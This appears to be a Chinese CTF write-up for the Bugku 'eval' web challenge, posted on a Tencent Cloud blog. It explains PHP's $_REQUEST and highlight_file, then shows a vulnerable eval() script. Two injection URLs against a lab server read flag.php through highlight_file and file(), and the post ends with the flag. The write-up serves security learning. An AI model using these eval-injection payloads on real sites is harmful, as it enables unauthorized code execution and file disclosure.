Loading [MathJax]/jax/output/CommonHTML/jax.js
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >【愚公系列】2023年06月 Bugku-Web(eval)

【愚公系列】2023年06月 Bugku-Web(eval)

作者头像
愚公搬代码
发布于 2025-05-28 07:05:52
发布于 2025-05-28 07:05:52
10500
代码可运行
举报
文章被收录于专栏:历史专栏历史专栏
运行总次数:0
代码可运行

前言

1.$_REQUEST

在PHP中,$_REQUEST是一个关联数组,包含了HTTP请求参数(GET、POST和COOKIE)中的所有变量。虽然它为开发人员提供了方便,但如果不正确使用,也会引起安全问题,例如以下一些漏洞:

  1. 参数污染:攻击者可以通过提交带有相同名称但不同值的GET和POST请求,来覆盖$_REQUEST数组中的某些变量。这个漏洞称为参数污染,可以导致应用程序出现意外行为或安全性问题。
  2. 跨站脚本攻击:如果应用程序没有正确过滤用户提交的数据,那么攻击者可以提交恶意脚本,以窃取用户的数据或伪造用户的行为。攻击者可以使用$_REQUEST来传递恶意数据。
  3. SQL注入:如果应用程序没有对用户输入进行充分的验证和过滤,攻击者可能会提交恶意SQL代码,并通过$_REQUEST将其传递给数据查询语句。这可能会导致数据库中的数据泄露、数据损坏或应用程序崩溃。
  4. 文件包含攻击:攻击者可以通过提交恶意文件名和路径来利用应用程序中的文件包含漏洞。这种攻击可能会导致服务器文件泄露、敏感信息泄露或服务器被入侵。

$_REQUEST 函数是一个用于访问 GETPOSTCOOKIE 三个数组的超全局变量。它可以用于从客户端收集用户提交的数据。

,_GET,_COOKIE 相似。它接收一个字符串参数,指定所需的变量,然后返回该变量的值。与 _POST 不同的是,

以下是一个使用 $_REQUEST 函数的示例:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<html>
<body>

<form method="post" action="<?php echo $_SERVER['PHP_SELF'];?>">
  Name: <input type="text" name="name">
  <br><br>
  <input type="submit" value="Submit">
</form>

<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    // collect value of input field
    $name = $_REQUEST['name'];
    if (empty($name)) {
        echo "Name is empty";
    } else {
        echo $name;
    }
}
?>

</body>
</html>

上面的代码中,当用户提交表单时,会使用 $_REQUEST 函数获取输入字段的值。如果输入字段为空,则输出 “Name is empty”,否则输出输入字段的值。

需要注意的是,_GET,_COOKIE 函数。

2.highlight_file

highlight_file函数用于将PHP文件的语法高亮显示输出。它将使用不同颜色和字体样式来显示PHP代码的各个部分,使其更易于阅读和理解。

函数语法:highlight_file(return = false);

其中,参数return用于控制函数的输出方式,默认值为false。

如果return参数设置为true,则highlight_file函数将返回高亮显示后的PHP代码字符串,而不会直接输出到浏览器。

示例代码:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
// 将 PHP 文件高亮显示
highlight_file('test.php');
?>

此代码将读取名为test.php的文件,将其语法高亮显示并输出到浏览器。

一、eval

1.题目

2.答题

打开题目审计源码

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
    include "flag.php";
    $a = @$_REQUEST['hello'];
    eval( "var_dump($a);");
    show_source(__FILE__);
?>

进行全局变量查看

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://114.67.175.224:11286/?hello=$GLOBALS

说明flag不是变量,应该就在flag.php里头被注释了

解法一:构造闭合

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://114.67.175.224:11286/?hello=);highlight_file('flag.php');var_dump(

解法二:使用文件读取函数

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://114.67.175.224:11286/?hello=file(%27flag.php%27)

得到flag:flag{34ad156d7d51f9372d7a08f120fad059}

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2025-05-16,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
【愚公系列】2023年06月 Bugku-Web(变量1)
其中,pattern表示需要匹配的正则表达式,subject表示需要被匹配的字符串,
愚公搬代码
2025/05/28
500
【愚公系列】2023年06月 Bugku-Web(变量1)
【愚公系列】2023年06月 Bugku-Web(留言板)
需要注意的是,目录爆破是一种可能会对目标服务器造成负载的活动,因此在进行目录爆破时应该谨慎操作,避免给目标服务器造成过大的负担。
愚公搬代码
2025/05/28
820
【愚公系列】2023年06月 Bugku-Web(留言板)
【愚公系列】2023年06月 攻防世界-Web(ics-07)
php是一种弱类型语言,意味着在变量的赋值和使用过程中,不需要显式地定义变量的类型。php会根据变量的值自动判断变量的数据类型。
愚公搬代码
2025/05/28
760
【愚公系列】2023年06月 攻防世界-Web(ics-07)
【愚公系列】2023年05月 攻防世界-Web(fileinclude)
文件包含漏洞(File Inclusion Vulnerability)是一种常见的Web应用程序漏洞,攻击者可以通过Web应用程序的漏洞,以某种形式包含恶意文件,或者包含在Web服务器上的其他敏感文件,从而实现权限提升、信息泄露、远程代码执行等攻击。
愚公搬代码
2023/05/25
1.4K0
【愚公系列】2023年05月 攻防世界-Web(fileinclude)
【愚公系列】2023年05月 攻防世界-Web(mfw)
Git源码泄露是指Git代码管理平台(如GitHub、GitLab)上的Git版本控制系统(VCS)源代码被非授权的第三方人员或组织获取和使用的情况。这种泄露可能导致代码、密码、私人密钥等敏感数据暴露,使得Git代码库的安全受到威胁。Git源码泄露可能会导致严重的后果,例如造成恶意代码、信息泄漏、网络攻击等问题。因此,保护Git代码库的安全非常重要,并采取措施防止源码泄露的情况发生。
愚公搬代码
2025/05/28
1020
【愚公系列】2023年05月 攻防世界-Web(mfw)
【愚公系列】2023年05月 攻防世界-Web(unseping)
反序列化漏洞是一种安全漏洞,存在于那些使用序列化技术的应用程序中。反序列化是将已序列化数据还原回对象的过程。攻击者可以通过构造恶意序列化数据来利用反序列化漏洞,从而在受害者的系统上执行任意代码或者进行远程攻击。
愚公搬代码
2023/05/26
1.3K0
【愚公系列】2023年05月 攻防世界-Web(unseping)
【愚公系列】2023年05月 攻防世界-Web(题目名称-文件包含)
文件包含漏洞(File Inclusion Vulnerability)是一种常见的Web应用程序漏洞,攻击者可以通过Web应用程序的漏洞,以某种形式包含恶意文件,或者包含在Web服务器上的其他敏感文件,从而实现权限提升、信息泄露、远程代码执行等攻击。
愚公搬代码
2025/05/28
1090
【愚公系列】2023年05月 攻防世界-Web(题目名称-文件包含)
【愚公系列】2023年06月 攻防世界-Web(filemanager)
如果PHP源码泄露,那么攻击者可以轻易地查看其中的代码并发现其中的漏洞和安全弱点。这可能导致攻击者能够从中获得敏感信息或者对网站进行攻击。以下是一些可以避免PHP源码泄露的建议:
愚公搬代码
2025/05/28
600
【愚公系列】2023年06月 攻防世界-Web(filemanager)
Bugku Web 部分WP
1.web2 听说聪明的人都能找到答案 http://123.206.87.240:8002/web2/ CTRL + u 查看源代码 2.计算器 http://12
wywwzjj
2023/05/09
6290
【愚公系列】2023年05月 攻防世界-Web(file_include)
文件包含漏洞(File Inclusion Vulnerability)是一种常见的Web应用程序漏洞,攻击者可以通过Web应用程序的漏洞,以某种形式包含恶意文件,或者包含在Web服务器上的其他敏感文件,从而实现权限提升、信息泄露、远程代码执行等攻击。
愚公搬代码
2023/05/26
9710
【愚公系列】2023年05月 攻防世界-Web(file_include)
【CTF竞赛】无参数RCE总结
在CTF竞赛过程中,我们时常会遇到一种类型的题,那就是无参数命令执行。接下来通过例题的形式针对无参数命令执行常见技巧和利用方式进行了总结。
安全小王子
2020/12/14
4.8K0
【CTF竞赛】无参数RCE总结
【愚公系列】2023年06月 Bugku-Web(GET)
源码审计是指通过对软件或系统源代码的分析和检查,发现其中可能存在的漏洞、安全弱点等问题,并提出修复建议和措施的过程。源码审计的作用在于发现并解决软件开发和运维过程中存在的安全问题,保障系统的安全性、稳定性和可靠性。
愚公搬代码
2025/05/28
570
【愚公系列】2023年06月 Bugku-Web(GET)
干货 | 命令执行漏洞和代码执行漏洞详解
从而注入一段攻击者能够控制的代码,在服务器上以Web服务的后台权限远程执行恶意指令
网络安全自修室
2022/09/01
5.8K1
干货 | 命令执行漏洞和代码执行漏洞详解
【愚公系列】2023年06月 Bugku-Web(矛盾)
源码审计是指通过对软件或系统源代码的分析和检查,发现其中可能存在的漏洞、安全弱点等问题,并提出修复建议和措施的过程。源码审计的作用在于发现并解决软件开发和运维过程中存在的安全问题,保障系统的安全性、稳定性和可靠性。
愚公搬代码
2025/05/28
470
【愚公系列】2023年06月 Bugku-Web(矛盾)
Writeup-北邮新生赛MRCTF-Web题:套娃
原题地址:https://merak-ctf.site/challenges#%E5%A5%97%E5%A8%83
Y5neKO
2022/01/13
1.1K0
Writeup-北邮新生赛MRCTF-Web题:套娃
php-unserialize反序列化漏洞
在了解反序列化漏洞之前,先了解一下php中的序列化。 php中的序列化和反序列化都是通过函数来实现的:
kam1
2022/03/08
1.2K0
php-unserialize反序列化漏洞
【愚公系列】2023年06月 攻防世界-Web(题目名称-SSRF Me)
SSRF是Server-Side Request Forgery(服务器端请求伪造)的缩写,是一种网络攻击技术。攻击者发送恶意请求给目标服务器,让服务器去访问攻击者指定的其他服务器或者域名,从而获取敏感信息或者攻击其他系统。
愚公搬代码
2025/05/28
1040
【愚公系列】2023年06月 攻防世界-Web(题目名称-SSRF Me)
【愚公系列】2023年05月 攻防世界-Web(fileclude)
文件包含漏洞(File Inclusion Vulnerability)是一种常见的Web应用程序漏洞,攻击者可以通过Web应用程序的漏洞,以某种形式包含恶意文件,或者包含在Web服务器上的其他敏感文件,从而实现权限提升、信息泄露、远程代码执行等攻击。
愚公搬代码
2023/05/25
1.2K0
【愚公系列】2023年05月 攻防世界-Web(fileclude)
【愚公系列】2023年06月 攻防世界-Web(ez_curl)
Express是一个流行的Node.js Web框架,它提供了许多有用的功能来构建Web应用程序。其中之一是参数解析,它允许开发者解析HTTP请求中的参数。Express提供了许多选项来配置参数解析。其中之一是parameterLimit选项。
愚公搬代码
2025/05/28
570
【愚公系列】2023年06月 攻防世界-Web(ez_curl)
【愚公系列】2023年06月 攻防世界-Web(comment)
弱口令爆破是指利用计算机程序、工具或脚本,通过不断尝试猜测用户的密码来破解某个系统或账号的密码。弱口令通常是指密码太短、过于简单或者容易被猜测到的密码,如“123456”、“password”等。攻击者通过爆破弱口令,可以获取到系统或账号的控制权,进行恶意操作、窃取敏感信息等活动。因此,使用强密码以及定期更换密码可以有效防止弱口令爆破攻击。
愚公搬代码
2025/05/28
910
【愚公系列】2023年06月 攻防世界-Web(comment)
推荐阅读
相关推荐
【愚公系列】2023年06月 Bugku-Web(变量1)
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验